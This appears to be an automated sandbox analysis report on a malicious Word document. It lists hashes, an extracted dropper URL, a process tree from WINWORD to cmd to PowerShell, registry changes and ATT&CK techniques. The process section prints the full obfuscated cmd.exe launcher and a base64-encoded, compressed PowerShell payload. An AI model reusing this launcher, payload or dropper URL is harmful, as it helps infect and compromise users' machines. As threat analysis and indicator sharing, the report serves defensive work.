8e0ddb5abdb6a6b5196e3a4182f3becccfc302c013dce60836896d79f2d7da2a

General

Target

initial.bin.doc
Size

106KB
MD5

7a618482be272bb1fcb4af69a3f649a3
SHA1

8d77bac6b9f0f45dbddce469dbb24a9c6be0ac46
SHA256

8e0ddb5abdb6a6b5196e3a4182f3becccfc302c013dce60836896d79f2d7da2a
SHA512

3e8e54be84e5406ab22064bd69e0deba21d7fb7ec625c88b91659f38f8db9f6f2dc5d84da3004b7c41e3771074b1d7a70130f4e0c2a869140619c2f83434993d

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://finance-advisors-ca.bid/ldr.bin

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1724	1080	Cmd.exe	WINWORD.EXE

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

Cmd.exe

pid process

1724 Cmd.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

pid	process
1724	Cmd.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1080 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1788 powershell.exe
1788 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1788 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1080 WINWORD.EXE
1080 WINWORD.EXE

pid	process
1080	WINWORD.EXE

pid	process
1788	powershell.exe
1788	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1788	powershell.exe

pid	process
1080	WINWORD.EXE
1080	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WINWORD.EXECmd.exe

description	pid	process	target process
PID 1080 wrote to memory of 1160	1080	WINWORD.EXE	splwow64.exe
PID 1080 wrote to memory of 1160	1080	WINWORD.EXE	splwow64.exe
PID 1080 wrote to memory of 1160	1080	WINWORD.EXE	splwow64.exe
PID 1080 wrote to memory of 1160	1080	WINWORD.EXE	splwow64.exe
PID 1080 wrote to memory of 1724	1080	WINWORD.EXE	Cmd.exe
PID 1080 wrote to memory of 1724	1080	WINWORD.EXE	Cmd.exe
PID 1080 wrote to memory of 1724	1080	WINWORD.EXE	Cmd.exe
PID 1080 wrote to memory of 1724	1080	WINWORD.EXE	Cmd.exe
PID 1724 wrote to memory of 1788	1724	Cmd.exe	powershell.exe
PID 1724 wrote to memory of 1788	1724	Cmd.exe	powershell.exe
PID 1724 wrote to memory of 1788	1724	Cmd.exe	powershell.exe
PID 1724 wrote to memory of 1788	1724	Cmd.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\initial.bin.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1080

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1160

C:\Windows\SysWOW64\Cmd.exe
Cmd TACAiZWidzJ QlELiFOErRhvNKiaJWsYwW wlJfOqlYPlHp & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %AwpZiQoBRUEQPsH%=cRwTOVNzvj&&set %YrMvOFQhX%=p&&set %CTWbrSlIwsfzwt%=o^w&&set %pAjKSKGUdiTzNII%=RdjtQWiQvz&&set %bCbazDZpqJqEP%=!%YrMvOFQhX%!&&set %nobijsdvaoVGBuK%=OdAfEqLtEjRCTT&&set %wauWYPWLOzP%=e^r&&set %rbXUXQCsTtYNK%=!%CTWbrSlIwsfzwt%!&&set %iTXpEXwqEHkkj%=s&&set %RPPUXRswvbTRhTz%=bmiVHFPQ&&set %zjUnavSRR%=he&&set %VKzjjIHdbbC%=ll&&!%bCbazDZpqJqEP%!!%rbXUXQCsTtYNK%!!%wauWYPWLOzP%!!%iTXpEXwqEHkkj%!!%zjUnavSRR%!!%VKzjjIHdbbC%! -e JgAgACgAIAAkAHAAcwBoAG8AbQBFAFsANABdACsAJABQAFMAaABvAE0AZQBbADMAMABdACsAJwB4ACcAKQAgACgAIABuAGUAVwAtAE8AYgBKAGUAYwB0ACAAIABTAHkAUwBUAEUATQAuAEkATwAuAGMAbwBNAFAAcgBlAFMAUwBJAE8ATgAuAEQAZQBGAEwAQQBUAGUAcwBUAHIAZQBBAE0AKAAgAFsASQBPAC4AbQBlAG0ATwBSAFkAUwB0AFIARQBhAG0AXQBbAEMATwBOAFYAZQByAFQAXQA6ADoARgBSAE8ATQBCAGEAcwBlADYANABzAFQAcgBJAG4AZwAoACAAJwBWAFUAOQBkAFMAOABNAHcARgBQADAAcgBlAFEAaQBrAHgAVABWAGwAaQBpAGcATABnAGwAZwBuAGUAMQBBAFoAVgBpAGcARABRAGQATAAwAGIAbwAyADIAUwBVAG0AdgBhADcAZgBTAC8AMgA1ADAAOQBjAEcAWABlADcAbgBuAGcAMwBNAHUAWABUAGYAeQArAEUASgB1AGkASQBFAHUAcwB2AGsASABLAEMAUgBPAG0AcwBMAFcAZwByAG8ANgBrAFgAWAAyAG4AMABzAFAATABVAEwATgBuAHcARgA1AEIAbgBsAFMAYQBUAEEAbwBxAE0AcgB1AE4AcQBVAFgAcwBoAEsAeABXAGMAVAB4AFYAaAB0AHAARgBFAFMAeQAyAE8AdgBXAHUAagBaAFMAawB1AGUANgBpAEsAdgBDACsAVwAwAFkAVAA1AHQASwBZADgAQgB1AFcAUwBqAG8AbwB6AG8AdQBWADkAcQA3ADYAVwA4AFgAYgBxAEQASABZAEQANABqADUANQBmAHoAcQArAHMATABMADYAaQArADkAcgBqADUANABjAEgAcwBGAHoANgA5AEkAVwBlAEUAdgBUAEUALwAvADcAegArADUAdABBAEQARQAxAHYAcgBRAEsAbwB5AG8ASwB0AEUAbAA0AHAAbwBRADAANwBkAHcAZwBIAGQAWQBaAGcAKwA0AHYAZQAyAE0ANQBXAFYAeABZAE8AdQBZAEoATAB5AFYANQB1AGkAMAAyAFkAWABoAEQATgB5AFMAZwB4AEYAaQB0AEoAaAB0AEgAWgBXAFEAZAB0AE8AcQBNAGgAOQB3AHEAYwBZAGwAVQBSAFYARABwADMAVABDAEYARgBwAFcAeQBUADAAbgBTADkANwBCAFEAMQBxAGEALwBpAFQATgA4AGcAZABpAEgASAA4AEIAZwA9AD0AJwAgACkALAAgAFsAUwB5AHMAdABFAE0ALgBJAE8ALgBDAE8ATQBQAHIARQBzAFMAaQBPAE4ALgBjAE8ATQBQAFIARQBTAHMAaQBPAG4AbQBvAEQAZQBdADoAOgBkAEUAYwBvAG0AcABSAGUAcwBTACkAIAB8ACUAewAgAG4AZQBXAC0ATwBiAEoAZQBjAHQAIABzAHkAUwB0AGUAbQAuAGkATwAuAFMAdABSAGUAQQBtAFIARQBBAEQARQByACgAIAAkAF8AIAAsACAAWwBzAFkAcwBUAEUAbQAuAFQARQBYAHQALgBFAE4AYwBvAEQAaQBOAGcAXQA6ADoAYQBTAGMASQBJACAAKQAgAH0AIAApAC4AcgBFAEEARAB0AE8ARQBOAGQAKAAgACkA
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:1724

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e JgAgACgAIAAkAHAAcwBoAG8AbQBFAFsANABdACsAJABQAFMAaABvAE0AZQBbADMAMABdACsAJwB4ACcAKQAgACgAIABuAGUAVwAtAE8AYgBKAGUAYwB0ACAAIABTAHkAUwBUAEUATQAuAEkATwAuAGMAbwBNAFAAcgBlAFMAUwBJAE8ATgAuAEQAZQBGAEwAQQBUAGUAcwBUAHIAZQBBAE0AKAAgAFsASQBPAC4AbQBlAG0ATwBSAFkAUwB0AFIARQBhAG0AXQBbAEMATwBOAFYAZQByAFQAXQA6ADoARgBSAE8ATQBCAGEAcwBlADYANABzAFQAcgBJAG4AZwAoACAAJwBWAFUAOQBkAFMAOABNAHcARgBQADAAcgBlAFEAaQBrAHgAVABWAGwAaQBpAGcATABnAGwAZwBuAGUAMQBBAFoAVgBpAGcARABRAGQATAAwAGIAbwAyADIAUwBVAG0AdgBhADcAZgBTAC8AMgA1ADAAOQBjAEcAWABlADcAbgBuAGcAMwBNAHUAWABUAGYAeQArAEUASgB1AGkASQBFAHUAcwB2AGsASABLAEMAUgBPAG0AcwBMAFcAZwByAG8ANgBrAFgAWAAyAG4AMABzAFAATABVAEwATgBuAHcARgA1AEIAbgBsAFMAYQBUAEEAbwBxAE0AcgB1AE4AcQBVAFgAcwBoAEsAeABXAGMAVAB4AFYAaAB0AHAARgBFAFMAeQAyAE8AdgBXAHUAagBaAFMAawB1AGUANgBpAEsAdgBDACsAVwAwAFkAVAA1AHQASwBZADgAQgB1AFcAUwBqAG8AbwB6AG8AdQBWADkAcQA3ADYAVwA4AFgAYgBxAEQASABZAEQANABqADUANQBmAHoAcQArAHMATABMADYAaQArADkAcgBqADUANABjAEgAcwBGAHoANgA5AEkAVwBlAEUAdgBUAEUALwAvADcAegArADUAdABBAEQARQAxAHYAcgBRAEsAbwB5AG8ASwB0AEUAbAA0AHAAbwBRADAANwBkAHcAZwBIAGQAWQBaAGcAKwA0AHYAZQAyAE0ANQBXAFYAeABZAE8AdQBZAEoATAB5AFYANQB1AGkAMAAyAFkAWABoAEQATgB5AFMAZwB4AEYAaQB0AEoAaAB0AEgAWgBXAFEAZAB0AE8AcQBNAGgAOQB3AHEAYwBZAGwAVQBSAFYARABwADMAVABDAEYARgBwAFcAeQBUADAAbgBTADkANwBCAFEAMQBxAGEALwBpAFQATgA4AGcAZABpAEgASAA4AEIAZwA9AD0AJwAgACkALAAgAFsAUwB5AHMAdABFAE0ALgBJAE8ALgBDAE8ATQBQAHIARQBzAFMAaQBPAE4ALgBjAE8ATQBQAFIARQBTAHMAaQBPAG4AbQBvAEQAZQBdADoAOgBkAEUAYwBvAG0AcABSAGUAcwBTACkAIAB8ACUAewAgAG4AZQBXAC0ATwBiAEoAZQBjAHQAIABzAHkAUwB0AGUAbQAuAGkATwAuAFMAdABSAGUAQQBtAFIARQBBAEQARQByACgAIAAkAF8AIAAsACAAWwBzAFkAcwBUAEUAbQAuAFQARQBYAHQALgBFAE4AYwBvAEQAaQBOAGcAXQA6ADoAYQBTAGMASQBJACAAKQAgAH0AIAApAC4AcgBFAEEARAB0AE8ARQBOAGQAKAAgACkA
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1788

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1080-59-0x00000000721B1000-0x00000000721B4000-memory.dmp

Filesize
12KB

Download
memory/1080-60-0x000000006FC31000-0x000000006FC33000-memory.dmp

Filesize
8KB

Download
memory/1080-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1160-62-0x0000000000000000-mapping.dmp

Download
memory/1160-63-0x000007FEFB6B1000-0x000007FEFB6B3000-memory.dmp

Filesize
8KB

Download
memory/1724-64-0x0000000000000000-mapping.dmp

Download
memory/1788-65-0x0000000000000000-mapping.dmp

Download
memory/1788-66-0x0000000075281000-0x0000000075283000-memory.dmp

Filesize
8KB

Download
memory/1788-67-0x0000000002210000-0x0000000002211000-memory.dmp

Filesize
4KB

Download
memory/1788-68-0x0000000004B20000-0x0000000004B21000-memory.dmp

Filesize
4KB

Download
memory/1788-69-0x00000000025D0000-0x00000000025D1000-memory.dmp

Filesize
4KB

Download
memory/1788-70-0x0000000004AE0000-0x0000000004AE1000-memory.dmp

Filesize
4KB

Download
memory/1788-71-0x0000000004AE2000-0x0000000004AE3000-memory.dmp

Filesize
4KB

Download
memory/1788-72-0x0000000004A50000-0x0000000004A51000-memory.dmp

Filesize
4KB

Download
memory/1788-75-0x0000000006100000-0x0000000006101000-memory.dmp

Filesize
4KB

Download
memory/1788-80-0x0000000006170000-0x0000000006171000-memory.dmp

Filesize
4KB

Download
memory/1788-81-0x0000000006280000-0x0000000006281000-memory.dmp

Filesize
4KB

Download
memory/1788-88-0x00000000063C0000-0x00000000063C1000-memory.dmp

Filesize
4KB

Download
memory/1788-89-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1788-90-0x00000000063E0000-0x00000000063E1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads